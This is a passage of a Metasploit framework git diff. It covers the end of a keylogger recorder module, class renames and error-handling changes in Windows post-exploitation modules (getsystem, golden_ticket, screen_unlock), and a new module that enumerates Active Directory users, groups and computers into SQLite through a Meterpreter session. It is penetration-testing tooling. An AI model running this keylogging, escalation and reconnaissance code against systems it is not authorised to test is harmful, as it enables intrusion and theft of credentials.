# It also checks the timed_out flag. Upon resume of session it resets the flag so + # that logging can start again. + # + # @return [TrueClass] Session is still alive (Framework) and not timed out + # @return [FalseClass] Session is dead or timed out + def session_good? + return false if !session.alive? + if @timed_out + if get_session_age < @timed_out_age && @wait + time_stamp("resumed") + @timed_out = false #reset timed out to false, if module set to wait and session becomes active again. + end + return !@timed_out + end + return true + end + + # This function writes off the last set of key strokes + # and shuts down the key logger + # + # @return [void] A useful return value is not expected here + def finish_up + print_status("Shutting down keylog recorder. Please wait...") + + last_known_timeout = session.response_timeout + session.response_timeout = 20 #Change timeout so job will exit in 20 seconds if session is unresponsive + + begin + sleep(@interval) + write_keylog_data + rescue::Exception => e + print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" #Don't care about timeout, just exit + session.response_timeout = last_known_timeout + return + end + session.ui.keyscan_stop rescue nil + session.response_timeout = last_known_timeout + end + + # This function cleans up the module. + # finish_up was added for a clean exit when this module is run as a job. + # + # Known Issue: This appears to run twice when killing the job. Not sure why. + # Does not cause issues with output or errors. + # + # @return [void] A useful return value is not expected here + def cleanup + if @logfile #make sure there is a log file meaning keylog started and migration was successful, if used. + finish_up if session_good? + time_stamp("exited") + end + end end diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index ba6680db44..2c829a3508 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/escalate/droplnk.rb b/modules/post/windows/escalate/droplnk.rb index 66c0028d56..f77a636064 100644 --- a/modules/post/windows/escalate/droplnk.rb +++ b/modules/post/windows/escalate/droplnk.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/escalate/getsystem.rb b/modules/post/windows/escalate/getsystem.rb index a155bb9166..d05983e780 100644 --- a/modules/post/windows/escalate/getsystem.rb +++ b/modules/post/windows/escalate/getsystem.rb @@ -8,7 +8,7 @@ require 'rex' require 'metasm' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post def run - tech = datastore['TECHNIQUE'].to_i + technique = datastore['TECHNIQUE'].to_i unsupported if client.platform !~ /win32|win64/i @@ -48,11 +48,11 @@ class Metasploit3 < Msf::Post return end - result = client.priv.getsystem( tech ) - if result and result[0] - print_good( "Obtained SYSTEM via technique #{result[1]}" ) - else - print_error( "Failed to obtain SYSTEM access" ) + begin + result = client.priv.getsystem(technique) + print_good("Obtained SYSTEM via technique #{result[1]}") + rescue Rex::Post::Meterpreter::RequestError => e + print_error("Failed to obtain SYSTEM access") end end diff --git a/modules/post/windows/escalate/golden_ticket.rb b/modules/post/windows/escalate/golden_ticket.rb index 09abdec2b3..38bedc7179 100644 --- a/modules/post/windows/escalate/golden_ticket.rb +++ b/modules/post/windows/escalate/golden_ticket.rb @@ -3,7 +3,7 @@ require 'msf/core/post/windows/netapi' require 'msf/core/post/windows/kiwi' require 'msf/core/post/windows/error' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::NetAPI include Msf::Post::Windows::Accounts include Msf::Post::Windows::Kiwi @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post 'SessionTypes' => [ 'meterpreter' ], 'References' => [ - ['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'] + ['URL', 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'] ] )) diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 928f36fccf..4aadfeb3fe 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -8,7 +8,7 @@ require 'rex' require 'metasm' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index abb3304552..9cfc306460 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -8,7 +8,7 @@ require 'rex' require 'metasm' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/gather/ad_to_sqlite.rb b/modules/post/windows/gather/ad_to_sqlite.rb new file mode 100644 index 0000000000..5f84cad615 --- /dev/null +++ b/modules/post/windows/gather/ad_to_sqlite.rb @@ -0,0 +1,561 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' +require 'sqlite3' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::LDAP + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'AD Computer, Group and Recursive User Membership to Local SQLite DB', + 'Description' => %{ + This module will gather a list of AD groups, identify the users (taking into account recursion) + and write this to a SQLite database for offline analysis and query using normal SQL syntax. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Stuart Morgan ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptString.new('GROUP_FILTER', [false, 'Additional LDAP filters to use when searching for initial groups', '']), + OptBool.new('SHOW_USERGROUPS', [true, 'Show the user/group membership in a greppable form to the console.', false]), + OptBool.new('SHOW_COMPUTERS', [true, 'Show basic computer information in a greppable form to the console.', false]), + OptInt.new('THREADS', [true, 'Number of threads to spawn to gather membership of each group.', 20]) + ], self.class) + end + + # Entry point + def run + max_search = datastore['MAX_SEARCH'] + + db, dbfile = create_sqlite_db + print_status "Database created: #{dbfile}" + + # Download the list of groups from Active Directory + vprint_status "Retrieving AD Groups" + begin + group_fields = ['distinguishedName', 'objectSid', 'samAccountType', 'sAMAccountName', 'whenChanged', 'whenCreated', 'description', 'groupType', 'adminCount', 'comment', 'managedBy', 'cn'] + if datastore['GROUP_FILTER'].nil? || datastore['GROUP_FILTER'].empty? + group_query = "(objectClass=group)" + else + group_query = "(&(objectClass=group)(#{datastore['GROUP_FILTER']}))" + end + groups = query(group_query, max_search, group_fields) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + print_error("Error(Group): #{e.message}") + return + end + + # If no groups were downloaded, there's no point carrying on + if groups.nil? || groups[:results].empty? + print_error('No AD groups were discovered') + return + end + + # Go through each of the groups and identify the individual users in each group + vprint_status "Groups retrieval completed: #{groups[:results].size} group(s)" + vprint_status "Retrieving AD Group Membership" + users_fields = ['distinguishedName', 'objectSid', 'sAMAccountType', 'sAMAccountName', 'displayName', 'description', 'logonCount', 'userAccountControl', 'userPrincipalName', 'whenChanged', 'whenCreated', 'primaryGroupID', 'badPwdCount', 'comment', 'title', 'cn', 'adminCount', 'manager'] + + remaining_groups = groups[:results] + + # If the number of threads exceeds the number of groups, reduce them down to the correct number + threadcount = remaining_groups.count < datastore['THREADS'] ? remaining_groups.count : datastore['THREADS'] + + # Loop through each of the groups, creating threads where necessary + while !remaining_groups.nil? && !remaining_groups.empty? + group_gather = [] + 1.upto(threadcount) do + group_gather << framework.threads.spawn("Module(#{refname})", false, remaining_groups.shift) do |individual_group| + begin + + next if !individual_group || individual_group.empty? || individual_group.nil? + + # Get the Group RID + group_rid = get_rid(individual_group[1][:value]).to_i + + # Perform the ADSI query to retrieve the effective users in each group (recursion) + vprint_status "Retrieving members of #{individual_group[3][:value]}" + users_filter = "(&(objectCategory=person)(objectClass=user)(|(memberOf:1.2.840.113556.1.4.1941:=#{individual_group[0][:value]})(primaryGroupID=#{group_rid})))" + users_in_group = query(users_filter, max_search, users_fields) + + grouptype_int = individual_group[7][:value].to_i # Set this here because it is used a lot below + sat_int = individual_group[2][:value].to_i + + # Add the group to the database + # groupType parameter interpretation: https://msdn.microsoft.com/en-us/library/windows/desktop/ms675935(v=vs.85).aspx + # Note that the conversions to UTF-8 are necessary because of the way SQLite detects column type affinity + # Turns out that the 'fix' is documented in https://github.com/rails/rails/issues/1965 + sql_param_group = { g_rid: group_rid, + g_distinguishedName: individual_group[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + g_sAMAccountType: sat_int, + g_sAMAccountName: individual_group[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + g_whenChanged: individual_group[4][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + g_whenCreated: individual_group[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + g_description: individual_group[6][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + g_groupType: grouptype_int, + g_adminCount: individual_group[8][:value].to_i, + g_comment: individual_group[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + g_managedBy: individual_group[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + g_cn: individual_group[11][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + # Specifies a group that is created by the system. + g_GT_GROUP_CREATED_BY_SYSTEM: (grouptype_int & 0x00000001).zero? ? 0 : 1, + # Specifies a group with global scope. + g_GT_GROUP_SCOPE_GLOBAL: (grouptype_int & 0x00000002).zero? ? 0 : 1, + # Specifies a group with local scope. + g_GT_GROUP_SCOPE_LOCAL: (grouptype_int & 0x00000004).zero? ? 0 : 1, + # Specifies a group with universal scope. + g_GT_GROUP_SCOPE_UNIVERSAL: (grouptype_int & 0x00000008).zero? ? 0 : 1, + # Specifies an APP_BASIC group for Windows Server Authorization Manager. + g_GT_GROUP_SAM_APP_BASIC: (grouptype_int & 0x00000010).zero? ? 0 : 1, + # Specifies an APP_QUERY group for Windows Server Authorization Manager. + g_GT_GROUP_SAM_APP_QUERY: (grouptype_int & 0x00000020).zero? ? 0 : 1, + # Specifies a security group. If this flag is not set, then the group is a distribution group. + g_GT_GROUP_SECURITY: (grouptype_int & 0x80000000).zero? ? 0 : 1, + # The inverse of the flag above. Technically GT_GROUP_SECURITY=0 makes it a distribution + # group so this is arguably redundant, but I have included it for ease. It makes a lot more sense + # to set DISTRIBUTION=1 in a query when your mind is on other things to remember that + # DISTRIBUTION is in fact the inverse of SECURITY...:) + g_GT_GROUP_DISTRIBUTION: (grouptype_int & 0x80000000).zero? ? 1 : 0, + # Now add sAMAccountType constants + g_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0, + g_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0, + g_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0, + g_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0, + g_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0, + g_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0, + g_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0, + g_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0, + g_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0, + g_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0, + g_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0 + } + run_sqlite_query(db, 'ad_groups', sql_param_group) + + # Go through each group user + next if users_in_group[:results].empty? + users_in_group[:results].each do |group_user| + user_rid = get_rid(group_user[1][:value]).to_i + print_line "Group [#{individual_group[3][:value]}][#{group_rid}] has member [#{group_user[3][:value]}][#{user_rid}]" if datastore['SHOW_USERGROUPS'] + + uac_int = group_user[7][:value].to_i # Set this because it is used so frequently below + sat_int = group_user[2][:value].to_i + + # Add the group to the database + # Also parse the ADF_ flags from userAccountControl: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832(v=vs.85).aspx + sql_param_user = { u_rid: user_rid, + u_distinguishedName: group_user[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_sAMAccountType: group_user[2][:value].to_i, + u_sAMAccountName: group_user[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_displayName: group_user[4][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_description: group_user[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_logonCount: group_user[6][:value].to_i, + u_userAccountControl: uac_int, + u_userPrincipalName: group_user[8][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_whenChanged: group_user[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_whenCreated: group_user[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_primaryGroupID: group_user[11][:value].to_i, + u_badPwdCount: group_user[12][:value].to_i, + u_comment: group_user[13][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_title: group_user[14][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + u_cn: group_user[15][:value].to_s.encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + # Indicates that a given object has had its ACLs changed to a more secure value by the + # system because it was a member of one of the administrative groups (directly or transitively). + u_adminCount: group_user[16][:value].to_i, + u_manager: group_user[17][:value].to_s.encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + # The login script is executed + u_ADS_UF_SCRIPT: (uac_int & 0x00000001).zero? ? 0 : 1, + # The user account is disabled. + u_ADS_UF_ACCOUNTDISABLE: (uac_int & 0x00000002).zero? ? 0 : 1, + # The home directory is required. + u_ADS_UF_HOMEDIR_REQUIRED: (uac_int & 0x00000008).zero? ? 0 : 1, + # The account is currently locked out. + u_ADS_UF_LOCKOUT: (uac_int & 0x00000010).zero? ? 0 : 1, + # No password is required. + u_ADS_UF_PASSWD_NOTREQD: (uac_int & 0x00000020).zero? ? 0 : 1, + # The user cannot change the password. + u_ADS_UF_PASSWD_CANT_CHANGE: (uac_int & 0x00000040).zero? ? 0 : 1, + # The user can send an encrypted password. + u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED: (uac_int & 0x00000080).zero? ? 0 : 1, + # This is an account for users whose primary account is in another domain. This account + # provides user access to this domain, but not to any domain that trusts this domain. + # Also known as a local user account. + u_ADS_UF_TEMP_DUPLICATE_ACCOUNT: (uac_int & 0x00000100).zero? ? 0 : 1, + # This is a default account type that represents a typical user. + u_ADS_UF_NORMAL_ACCOUNT: (uac_int & 0x00000200).zero? ? 0 : 1, + # This is a permit to trust account for a system domain that trusts other domains. + u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT: (uac_int & 0x00000800).zero? ? 0 : 1, + # This is a computer account for a computer that is a member of this domain. + u_ADS_UF_WORKSTATION_TRUST_ACCOUNT: (uac_int & 0x00001000).zero? ? 0 : 1, + # This is a computer account for a system backup domain controller that is a member of this domain. + u_ADS_UF_SERVER_TRUST_ACCOUNT: (uac_int & 0x00002000).zero? ? 0 : 1, + # The password for this account will never expire. + u_ADS_UF_DONT_EXPIRE_PASSWD: (uac_int & 0x00010000).zero? ? 0 : 1, + # This is an MNS logon account. + u_ADS_UF_MNS_LOGON_ACCOUNT: (uac_int & 0x00020000).zero? ? 0 : 1, + # The user must log on using a smart card. + u_ADS_UF_SMARTCARD_REQUIRED: (uac_int & 0x00040000).zero? ? 0 : 1, + # The service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. + # Any such service can impersonate a client requesting the service. + u_ADS_UF_TRUSTED_FOR_DELEGATION: (uac_int & 0x00080000).zero? ? 0 : 1, + # The security context of the user will not be delegated to a service even if the service + # account is set as trusted for Kerberos delegation. + u_ADS_UF_NOT_DELEGATED: (uac_int & 0x00100000).zero? ? 0 : 1, + # Restrict this principal to use only Data #Encryption Standard (DES) encryption types for keys. + u_ADS_UF_USE_DES_KEY_ONLY: (uac_int & 0x00200000).zero? ? 0 : 1, + # This account does not require Kerberos pre-authentication for logon. + u_ADS_UF_DONT_REQUIRE_PREAUTH: (uac_int & 0x00400000).zero? ? 0 : 1, + # The password has expired + u_ADS_UF_PASSWORD_EXPIRED: (uac_int & 0x00800000).zero? ? 0 : 1, + # The account is enabled for delegation. This is a security-sensitive setting; accounts with + # this option enabled should be strictly controlled. This setting enables a service running + # under the account to assume a client identity and authenticate as that user to other remote + # servers on the network. + u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: (uac_int & 0x01000000).zero? ? 0 : 1, + # Now add sAMAccountType constants + u_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0, + u_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0, + u_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0, + u_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0, + u_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0, + u_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0, + u_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0, + u_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0, + u_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0, + u_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0, + u_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0 + } + run_sqlite_query(db, 'ad_users', sql_param_user) + + # Now associate the user with the group + sql_param_mapping = { user_rid: user_rid, + group_rid: group_rid + } + run_sqlite_query(db, 'ad_mapping', sql_param_mapping) + end + + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + print_error("Error(Users): #{e.message}") + next + end + end + end + group_gather.map(&:join) + end + + vprint_status "Retrieving computers" + begin + computer_filter = '(objectClass=computer)' + computer_fields = ['distinguishedName', 'objectSid', 'cn', 'dNSHostName', 'sAMAccountType', 'sAMAccountName', 'displayName', 'logonCount', 'userAccountControl', 'whenChanged', 'whenCreated', 'primaryGroupID', 'badPwdCount', 'operatingSystem', 'operatingSystemServicePack', 'operatingSystemVersion', 'description', 'comment'] + computers = query(computer_filter, max_search, computer_fields) + + computers[:results].each do |comp| + computer_rid = get_rid(comp[1][:value]).to_i + + uac_int = comp[8][:value].to_i # Set this because it is used so frequently below + sat_int = comp[4][:value].to_i + + # Add the group to the database + # Also parse the ADF_ flags from userAccountControl: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832(v=vs.85).aspx + # Note that userAccountControl is basically the same for a computer as a user; this is because a computer account is derived from a user account + # (if you look at the objectClass for a computer account, it includes 'user') and, for efficiency, we should really store it all in one + # table. However, the reality is that it will get annoying for users to have to remember to use the userAccountControl flags to work out whether + # its a user or a computer and so, for convenience and ease of use, I have put them in completely separate tables. + # Also add the sAMAccount type flags from https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637(v=vs.85).aspx + sql_param_computer = { c_rid: computer_rid, + c_distinguishedName: comp[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_cn: comp[2][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_dNSHostName: comp[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_sAMAccountType: sat_int, + c_sAMAccountName: comp[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_displayName: comp[6][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_logonCount: comp[7][:value].to_i, + c_userAccountControl: uac_int, + c_whenChanged: comp[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_whenCreated: comp[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_primaryGroupID: comp[11][:value].to_i, + c_badPwdCount: comp[12][:value].to_i, + c_operatingSystem: comp[13][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_operatingSystemServicePack: comp[14][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_operatingSystemVersion: comp[15][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_description: comp[16][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + c_comment: comp[17][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'), + # The login script is executed + c_ADS_UF_SCRIPT: (uac_int & 0x00000001).zero? ? 0 : 1, + # The user account is disabled. + c_ADS_UF_ACCOUNTDISABLE: (uac_int & 0x00000002).zero? ? 0 : 1, + # The home directory is required. + c_ADS_UF_HOMEDIR_REQUIRED: (uac_int & 0x00000008).zero? ? 0 : 1, + # The account is currently locked out. + c_ADS_UF_LOCKOUT: (uac_int & 0x00000010).zero? ? 0 : 1, + # No password is required. + c_ADS_UF_PASSWD_NOTREQD: (uac_int & 0x00000020).zero? ? 0 : 1, + # The user cannot change the password. + c_ADS_UF_PASSWD_CANT_CHANGE: (uac_int & 0x00000040).zero? ? 0 : 1, + # The user can send an encrypted password. + c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED: (uac_int & 0x00000080).zero? ? 0 : 1, + # This is an account for users whose primary account is in another domain. This account + # provides user access to this domain, but not to any domain that trusts this domain. + # Also known as a local user account. + c_ADS_UF_TEMP_DUPLICATE_ACCOUNT: (uac_int & 0x00000100).zero? ? 0 : 1, + # This is a default account type that represents a typical user. + c_ADS_UF_NORMAL_ACCOUNT: (uac_int & 0x00000200).zero? ? 0 : 1, + # This is a permit to trust account for a system domain that trusts other domains. + c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT: (uac_int & 0x00000800).zero? ? 0 : 1, + # This is a computer account for a computer that is a member of this domain. + c_ADS_UF_WORKSTATION_TRUST_ACCOUNT: (uac_int & 0x00001000).zero? ? 0 : 1, + # This is a computer account for a system backup domain controller that is a member of this domain. + c_ADS_UF_SERVER_TRUST_ACCOUNT: (uac_int & 0x00002000).zero? ? 0 : 1, + # The password for this account will never expire. + c_ADS_UF_DONT_EXPIRE_PASSWD: (uac_int & 0x00010000).zero? ? 0 : 1, + # This is an MNS logon account. + c_ADS_UF_MNS_LOGON_ACCOUNT: (uac_int & 0x00020000).zero? ? 0 : 1, + # The user must log on using a smart card. + c_ADS_UF_SMARTCARD_REQUIRED: (uac_int & 0x00040000).zero? ? 0 : 1, + # The service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. + # Any such service can impersonate a client requesting the service. + c_ADS_UF_TRUSTED_FOR_DELEGATION: (uac_int & 0x00080000).zero? ? 0 : 1, + # The security context of the user will not be delegated to a service even if the service + # account is set as trusted for Kerberos delegation. + c_ADS_UF_NOT_DELEGATED: (uac_int & 0x00100000).zero? ? 0 : 1, + # Restrict this principal to use only Data #Encryption Standard (DES) encryption types for keys. + c_ADS_UF_USE_DES_KEY_ONLY: (uac_int & 0x00200000).zero? ? 0 : 1, + # This account does not require Kerberos pre-authentication for logon. + c_ADS_UF_DONT_REQUIRE_PREAUTH: (uac_int & 0x00400000).zero? ? 0 : 1, + # The password has expired + c_ADS_UF_PASSWORD_EXPIRED: (uac_int & 0x00800000).zero? ? 0 : 1, + # The account is enabled for delegation. This is a security-sensitive setting; accounts with + # this option enabled should be strictly controlled. This setting enables a service running + # under the account to assume a client identity and authenticate as that user to other remote + # servers on the network. + c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: (uac_int & 0x01000000).zero? ? 0 : 1, + # Now add the sAMAccountType objects + c_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0, + c_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0, + c_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0, + c_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0, + c_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0, + c_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0, + c_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0, + c_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0, + c_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0, + c_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0, + c_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0 + } + run_sqlite_query(db, 'ad_computers', sql_param_computer) + print_line "Computer [#{sql_param_computer[:c_cn]}][#{sql_param_computer[:c_dNSHostName]}][#{sql_param_computer[:c_rid]}]" if datastore['SHOW_COMPUTERS'] + end + + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + print_error("Error(Computers): #{e.message}") + return + end + + # Finished enumeration, now safely close the database + if db && db.close + f = ::File.size(dbfile.to_s) + print_status "Database closed: #{dbfile} at #{f} byte(s)" + end + end + + # Run the parameterised SQL query + def run_sqlite_query(db, table_name, values) + sql_param_columns = values.keys + sql_param_bind_params = values.keys.map { |k| ":#{k}" } + db.execute("replace into #{table_name} (#{sql_param_columns.join(',')}) VALUES (#{sql_param_bind_params.join(',')})", values) + end + + # Creat the SQLite Database + def create_sqlite_db + begin + obj_temp = ::Dir::Tmpname + filename = "#{obj_temp.tmpdir}/#{obj_temp.make_tmpname('ad_', 2)}.db" + db = SQLite3::Database.new(filename) + db.type_translation = true + + # Create the table for the AD Computers + db.execute('DROP TABLE IF EXISTS ad_computers') + sql_table_computers = 'CREATE TABLE ad_computers ('\ + 'c_rid INTEGER PRIMARY KEY NOT NULL,'\ + 'c_distinguishedName TEXT UNIQUE NOT NULL,'\ + 'c_cn TEXT,'\ + 'c_sAMAccountType INTEGER,'\ + 'c_sAMAccountName TEXT UNIQUE NOT NULL,'\ + 'c_dNSHostName TEXT,'\ + 'c_displayName TEXT,'\ + 'c_logonCount INTEGER,'\ + 'c_userAccountControl INTEGER,'\ + 'c_primaryGroupID INTEGER,'\ + 'c_badPwdCount INTEGER,'\ + 'c_description TEXT,'\ + 'c_comment TEXT,'\ + 'c_operatingSystem TEXT,'\ + 'c_operatingSystemServicePack TEXT,'\ + 'c_operatingSystemVersion TEXT,'\ + 'c_whenChanged TEXT,'\ + 'c_whenCreated TEXT,'\ + 'c_ADS_UF_SCRIPT INTEGER,'\ + 'c_ADS_UF_ACCOUNTDISABLE INTEGER,'\ + 'c_ADS_UF_HOMEDIR_REQUIRED INTEGER,'\ + 'c_ADS_UF_LOCKOUT INTEGER,'\ + 'c_ADS_UF_PASSWD_NOTREQD INTEGER,'\ + 'c_ADS_UF_PASSWD_CANT_CHANGE INTEGER,'\ + 'c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED INTEGER,'\ + 'c_ADS_UF_TEMP_DUPLICATE_ACCOUNT INTEGER,'\ + 'c_ADS_UF_NORMAL_ACCOUNT INTEGER,'\ + 'c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT INTEGER,'\ + 'c_ADS_UF_WORKSTATION_TRUST_ACCOUNT INTEGER,'\ + 'c_ADS_UF_SERVER_TRUST_ACCOUNT INTEGER,'\ + 'c_ADS_UF_DONT_EXPIRE_PASSWD INTEGER,'\ + 'c_ADS_UF_MNS_LOGON_ACCOUNT INTEGER,'\ + 'c_ADS_UF_SMARTCARD_REQUIRED INTEGER,'\ + 'c_ADS_UF_TRUSTED_FOR_DELEGATION INTEGER,'\ + 